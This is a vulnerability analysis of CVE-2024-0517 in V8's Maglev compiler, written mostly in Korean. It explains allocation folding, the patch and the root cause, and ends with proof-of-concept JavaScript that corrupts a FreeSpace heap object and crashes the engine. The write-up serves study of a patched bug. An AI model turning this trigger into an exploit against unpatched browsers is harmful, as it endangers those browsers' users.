CVE-2024-0517 (Out of Bounds Write in V8)

Environment Setting

# install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$HOME/depot_tools:$PATH
echo 'export PATH=$HOME/depot_tools:$PATH' >> ~/.zshrc

# get V8
cd ~
mkdir v8
cd v8
fetch v8
cd v8
git checkout d8fd81812d5a4c5c3449673b6a803279c4bdb2f2
gclient sync -D

# build V8
./build/install-build-deps.sh
gn gen out/debug --args='v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true'
ninja -C out/debug d8
./tools/dev/gm.py x64.release

# install gdb plugin
echo 'source ~/v8/v8/tools/gdbinit' >> ~/.gdbinit

Prerequisite Knowledges

Allocation folding

https://static.googleusercontent.com/media/research.google.com/ko//pubs/archive/42478.pdf

This paper introduces allocation folding, an optimization technique where the virtual machine automatically folds multiple memory allocation operations in optimized code together into a single, larger allocation group.

Allocation folding은 여러 번의 allocation으로 할당될 메모리들을 합쳐서 한 번에 할당하고 필요할 때 나눠서 사용하도록 하여 allocation 연산의 횟수를 줄이는 최적화 기법입니다.

논문에서 예시로 든 CFG를 보면, B0, B1, B3에서 각각 16, 8, 12만큼 allocation이 진행됩니다.

Allocation folding이 적용되면 세 차례의 allocation이 합쳐져서 B0에서 한 번에 36만큼의 allocation이 진행됩니다. 그리고 B1과 B3에서는 B0에서 할당된 큰 메모리의 일부분을 나누어 가지게 됩니다.

실제로 V8에서 allocation folding이 적용되는 과정을 확인해 보겠습니다.

function f() {
    let a = [1.1];
    % DebugPrint(a);
}

% PrepareFunctionForOptimization(f);
f();
% OptimizeMaglevOnNextCall(f);
f();

V8에서 array를 생성할 때 먼저 elements가 사용할 공간을 할당한 후에 array의 구조를 만들기 때문에 총 2번의 allocation이 진행됩니다.

최적화 전에는 allocation folding이 적용되지 않아서 elements와 array가 따로 할당되기 때문에 메모리가 연속적으로 배치되지 않습니다.

Maglev graph에서 n13이 FoldedAllocation node입니다. n7에서 할당된 메모리에서 offset 16부터 사용한다는 의미입니다.

위의 코드는 f()가 최적화된 후에 allocation이 진행되는 부분입니다. Maglev graph에서 n7에 해당합니다.

/* src/heap/heap-inl.h */

Address* Heap::NewSpaceAllocationTopAddress() {
  return new_space_
             ? isolate()->isolate_data()->new_allocation_info_.top_address()
             : nullptr;
}

Address* Heap::NewSpaceAllocationLimitAddress() {
  return new_space_
             ? isolate()->isolate_data()->new_allocation_info_.limit_address()
             : nullptr;
}

Heap::NewSpaceAllocationTopAddress()는 현재 할당 가능한 free memory의 시작 주소이고, Heap::NewSpaceAllocationLimitAddress()는 끝 주소입니다. Glibc heap의 top chunk와 같은 역할을 한다고 이해할 수 있습니다.

위의 어셈블리 코드는 Heap::NewSpaceAllocationTopAddress()를 0x20만큼 증가시키고 원래의 주소를 rdi에 저장합니다. 즉, 0x20 크기의 메모리를 할당하는 코드입니다. Elements와 array가 각각 0x10 크기의 메모리를 필요로 하는데, 이 두 개의 메모리를 한 번에 할당하도록 최적화된 것을 확인할 수 있습니다.

위의 코드는 array가 사용할 공간을 할당하는 부분입니다. Maglev graph에서 n13에 해당합니다. 앞에서 할당한 0x20 크기의 메모리 중에서 offset 0x10부터 0x10만큼을 가져와서 사용합니다.

그 결과, 최적화 후에는 elements와 array의 메모리가 연속적으로 배치되는 것을 확인할 수 있습니다.

Analysis

Patch

[maglev] Fix allocation folding in derived constructors

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index ad7eccf..3dd3df5 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5597,6 +5597,7 @@
           object = BuildAllocateFastObject(
               FastObject(new_target_function->AsJSFunction(), zone(), broker()),
               AllocationType::kYoung);
+          ClearCurrentRawAllocation();
         } else {
           object = BuildCallBuiltin<Builtin::kFastNewObject>(
               {GetConstant(current_function), new_target});

TryBuildFindNonDefaultConstructorOrConstruct()에 current_raw_allocation_을 nullptr로 초기화하는 ClearCurrentRawAllocation() 호출이 추가되었습니다.

/* src/maglev/maglev-graph-builder.cc */

void MaglevGraphBuilder::ClearCurrentRawAllocation() {
  current_raw_allocation_ = nullptr;
}

FindNonDefaultConstructorOrConstruct

Derived constructor는 parent를 가지는 (상속된) class의 constructor를 의미합니다. V8이 derived constructor로부터 object를 생성하기 위해서는 parent class의 구조도 알아야 하기 때문에 constructor의 prototype에 접근해야 합니다. 그런데 parent class도 parent를 가질 수 있기 때문에, 연쇄적으로 prototype에 접근하며 결과적으로는 parent가 없는 class의 constructor (default constructor)까지 찾아야 합니다.

Derived constructor에서 사용되는 FindNonDefaultConstructorOrConstruct instruction은 constructor의 prototype chain을 탐색하여 default constructor를 찾고, 그 정보들을 이용하여 object를 생성하는 작업을 수행합니다. Derived constructor를 Maglev로 컴파일하면 FindNonDefaultConstructorOrConstruct instruction은 TryBuildFindNonDefaultConstructorOrConstruct() 함수에서 처리됩니다.

class A { } // default constructor
class B extends A { } // derived constructor

% PrepareFunctionForOptimization(B);
new B();
% OptimizeMaglevOnNextCall(B);
new B();

/* src/maglev/maglev-graph-builder.cc */

bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
    ValueNode* this_function, ValueNode* new_target,
    std::pair<interpreter::Register, interpreter::Register> result) {
  // See also:
  // JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct

  compiler::OptionalHeapObjectRef maybe_constant =
      TryGetConstant(this_function);
  if (!maybe_constant) return false;

  compiler::MapRef function_map = maybe_constant->map(broker());
  compiler::HeapObjectRef current = function_map.prototype(broker());
...
  while (true) {
    if (!current.IsJSFunction()) return false;
    compiler::JSFunctionRef current_function = current.AsJSFunction();
...
    // Keep walking up the class tree.
    current = current_function.map(broker()).prototype(broker());
  }
}

인자로 전달되는 this_function은 FindNonDefaultConstructorOrConstruct instruction을 호출하는 constructor입니다. new_target은 class의 constructor() 내부에서 접근할 수 있는 new.target에 해당합니다. current의 초깃값은 this_function의 prototype이고, 이후 while문에서 prototype chain을 따라 올라가며 처리합니다.

    FunctionKind kind = current_function.shared(broker()).kind();
    if (kind != FunctionKind::kDefaultDerivedConstructor) {
      // The hierarchy walk will end here; this is the last change to bail out
      // before creating new nodes.
      if (!broker()->dependencies()->DependOnArrayIteratorProtector()) {
        return false;
      }

      compiler::OptionalHeapObjectRef new_target_function =
          TryGetConstant(new_target);
      if (kind == FunctionKind::kDefaultBaseConstructor) {
        // Store the result register first, so that a lazy deopt in
        // `FastNewObject` writes `true` to this register.
        StoreRegister(result.first, GetBooleanConstant(true));

        ValueNode* object;
        if (new_target_function && new_target_function->IsJSFunction() &&
            HasValidInitialMap(new_target_function->AsJSFunction(),
                               current_function)) {
          object = BuildAllocateFastObject(
              FastObject(new_target_function->AsJSFunction(), zone(), broker()),
              AllocationType::kYoung);
        } else {
          object = BuildCallBuiltin<Builtin::kFastNewObject>(
              {GetConstant(current_function), new_target});
          // We've already stored "true" into result.first, so a deopt here just
          // has to store result.second. Also mark result.first as being used,
          // since the lazy deopt frame won't have marked it since it used to be
          // a result register.
          current_interpreter_frame_.get(result.first)->add_use();
          object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
        }
        StoreRegister(result.second, object);
      } else {

current_function이 default constructor인 경우 (kind == FunctionKind::kDefaultBaseConstructor), type confusion을 방지하기 위해 new_target_function과 current_function의 initial Map이 일치하는지 확인(HasValidInitialMap(new_target_function->AsJSFunction(), current_function))한 후 BuildAllocateFastObject()를 호출하여 object를 생성하는 코드를 컴파일합니다.

/* src/maglev/maglev-graph-builder.cc */

ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
    FastObject object, AllocationType allocation_type) {
...
  // TODO(leszeks): Fold allocations.
  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
      object.instance_size, allocation_type);
...
}

BuildAllocateFastObject()는 ExtendOrReallocateCurrentRawAllocation()을 호출하고, 이 함수에서 current_raw_allocation_의 값에 따라 object의 공간을 새로 할당할지 allocation folding을 적용할지 결정합니다.

/* src/maglev/maglev-graph-builder.h */

class MaglevGraphBuilder {
...
  AllocateRaw* current_raw_allocation_ = nullptr;

/* src/maglev/maglev-ir.h */

class AllocateRaw : public FixedInputValueNodeT<0, AllocateRaw> {
...
  // Allow increasing the size for allocation folding.
  void extend(int size) {
    DCHECK_GT(size, 0);
    size_ += size;
  }

 private:
  AllocationType allocation_type_;
  int size_;
};

/* src/maglev/maglev-graph-builder.cc */

ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
    int size, AllocationType allocation_type) {
  if (!current_raw_allocation_ ||
      current_raw_allocation_->allocation_type() != allocation_type ||
      !v8_flags.inline_new) {
    current_raw_allocation_ =
        AddNewNode<AllocateRaw>({}, allocation_type, size);
    return current_raw_allocation_;
  }

  int current_size = current_raw_allocation_->size();
  if (current_size + size > kMaxRegularHeapObjectSize) {
    return current_raw_allocation_ =
               AddNewNode<AllocateRaw>({}, allocation_type, size);
  }

  DCHECK_GT(current_size, 0);
  int previous_end = current_size;
  current_raw_allocation_->extend(size);
  return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}

ExtendOrReallocateCurrentRawAllocation()이 호출된 시점에 current_raw_allocation_이 nullptr이 아니면 가장 최근의 allocation과 현재 처리 중인 allocation이 fold될 수 있다고 판단합니다. 만약 fold했을 때 최대 size(kMaxRegularHeapObjectSize)를 초과하면 AllocateRaw로 처리하고, 그렇지 않을 때 FoldedAllocation으로 처리합니다.

Bug

        if (new_target_function && new_target_function->IsJSFunction() &&
            HasValidInitialMap(new_target_function->AsJSFunction(),
                               current_function)) {
          object = BuildAllocateFastObject(
              FastObject(new_target_function->AsJSFunction(), zone(), broker()),
              AllocationType::kYoung);
        } else {

TryBuildFindNonDefaultConstructorOrConstruct()에서 BuildAllocateFastObject() 호출 후 current_raw_allocation_을 nullptr로 초기화하지 않는 버그가 있습니다. Derived constructor에서 super() 호출 직후에 다른 object를 생성하면 super()에서 초기화되지 않은 current_raw_allocation_으로 인해 allocation folding이 적용되는데, super()로 생성된 object 뒤쪽에 다른 object가 있을 경우 그대로 덮어쓰게 되어 문제가 발생할 수 있습니다.

Proof of Concept

var x;
let a;
class A { }
class B extends A {
    constructor() {
        x = new.target;
        super();
        a = [1.1];
    }
}

% PrepareFunctionForOptimization(B);
new B();
% OptimizeMaglevOnNextCall(B);
let b = new B();

super() 직후에 array를 생성하여 allocation folding이 적용된 것을 확인할 수 있습니다. 따라서 a는 무조건 b보다 12만큼 높은 주소에 생성됩니다.

super()와 a = [1.1] 사이에 garbage collection이 진행되면 문제가 발생합니다.

// Flags: --allow-natives-syntax --expose-gc

var x;
let a;
class A { }
class B extends A {
    constructor() {
        x = new.target;
        super();
        gc();
        // a = [1.1];
    }
}

% PrepareFunctionForOptimization(B);
new B();
% OptimizeMaglevOnNextCall(B);
let b = new B();
% DebugPrint(b);

먼저 a = [1.1]을 빼고 실행시켜 보면,

Garbage collection이 진행되고 나면 b의 바로 뒤쪽에 FreeSpace object가 위치하게 됩니다.

/* src/objects/free-space.h */

// FreeSpace are fixed-size free memory blocks used by the heap and GC.
// They look like heap objects (are heap object tagged and have a map) so that
// the heap remains iterable.  They have a size and a next pointer.
// The next pointer is the raw address of the next FreeSpace object (or NULL)
// in the free list.
//
// When external code space is enabled next pointer is stored as Smi values
// representing a diff from current FreeSpace object address in kObjectAlignment
// chunks. Terminating FreeSpace value is represented as Smi zero.
// Such a representation has the following properties:
// a) it can hold both positive an negative diffs for full pointer compression
//    cage size (HeapObject address has only valuable 30 bits while Smis have
//    31 bits),
// b) it's independent of the pointer compression base and pointer compression
//    scheme.
class FreeSpace : public TorqueGeneratedFreeSpace<FreeSpace, HeapObject> {
 public:
  // [size]: size of the free space including the header.
  DECL_RELAXED_INT_ACCESSORS(size)
  static inline void SetSize(const WritableFreeSpace& writable_free_space,
                             int size, RelaxedStoreTag);
  inline int Size();

  // Accessors for the next field.
  inline Tagged<FreeSpace> next() const;
  inline void SetNext(const WritableFreeSpace& writable_free_space,
                      Tagged<FreeSpace> next);

  inline static Tagged<FreeSpace> cast(Tagged<HeapObject> obj);
  inline static Tagged<FreeSpace> unchecked_cast(const Tagged<Object> obj);

  // Dispatched behavior.
  DECL_PRINTER(FreeSpace)

  class BodyDescriptor;

 private:
  inline bool IsValid() const;

  TQ_OBJECT_CONSTRUCTORS(FreeSpace)
};

FreeSpace object는 glibc heap에서 freed chunk와 비슷한 느낌으로 이해할 수 있습니다. 실행 중에 수많은 object가 생성되고 삭제되면서, 메모리 상에 많은 FreeSpace object들이 흩어져 있게 됩니다.

/* src/heap/free-list.cc */

Tagged<FreeSpace> FreeListCategory::PickNodeFromList(size_t minimum_size,
                                                     size_t* node_size) {
  Tagged<FreeSpace> node = top();
  DCHECK(!node.is_null());
  DCHECK(Page::FromHeapObject(node)->CanAllocate());
  if (static_cast<size_t>(node->Size()) < minimum_size) {
    *node_size = 0;
    return FreeSpace();
  }
  set_top(node->next());
  *node_size = node->Size();
  UpdateCountersAfterAllocation(*node_size);
  return node;
}

새로운 메모리를 할당해야 할 때, PickNodeFromList()에서 top_에 저장된 FreeSpace object를 가져오고 set_top()을 호출하여 새로운 top_을 설정합니다.

/* src/objects/free-space-inl.h */

Tagged<FreeSpace> FreeSpace::next() const {
  DCHECK(IsValid());
#ifdef V8_EXTERNAL_CODE_SPACE
  intptr_t diff_to_next =
      static_cast<intptr_t>(TaggedField<Smi, kNextOffset>::load(*this).value());
  if (diff_to_next == 0) {
    return FreeSpace();
  }
  Address next_ptr = ptr() + diff_to_next * kObjectAlignment;
  return FreeSpace::unchecked_cast(Tagged<Object>(next_ptr));
#else
  return FreeSpace::unchecked_cast(
      TaggedField<Object, kNextOffset>::load(*this));
#endif  // V8_EXTERNAL_CODE_SPACE
}

FreeSpace의 next field에 저장된 4바이트 값은 next()에서 diff_to_next에 들어갑니다. 이 값이 0이 아니면 ptr_(== top_)에 diff_to_next * 4를 더한 next_ptr을 반환하고, 이 값이 새로운 top_으로 설정됩니다.

Garbage collection 이후에 새로운 object a를 생성하면, gc()가 없을 때와 똑같이 allocation folding으로 인해 a는 b보다 12만큼 높은 주소에 할당됩니다. 따라서 그 위치에 있는 FreeSpace object를 덮어쓰게 되고, next field에 invalid한 값이 들어가면 set_top(node->next()) 호출 중에 segmentation fault가 발생합니다.

var x;
class A { }
class B extends A {
    constructor() {
        x = new.target;
        super();
        gc();
        let a = [1.1];
    }
}

% PrepareFunctionForOptimization(B);
new B();
% OptimizeMaglevOnNextCall(B);
new B();

eval(''); // allocate from FreeSpace

function gc() {
    for (let i = 0; i < 1000; i++) {
        new ArrayBuffer(0x10000);
    }
}

var x;
let a;
class A { }
class B extends A {
    constructor() {
        x = new.target;
        super();
        gc();
        a = [1.1]; // overwrite FreeSpace object
    }
}

for (let i = 0; i < 1000; i++) { new B(); } // optimization

References

• CVE-2024-0517 - NVD
• Stable Channel Update for Desktop (2024.01.16.) - Chrome Releases
• [maglev] Fix allocation folding in derived constructors - V8 git
• Allocation Folding Based on Dominance - Daniel Clifford, Hannes Payer, Michael Starzinger, Ben L. Titzer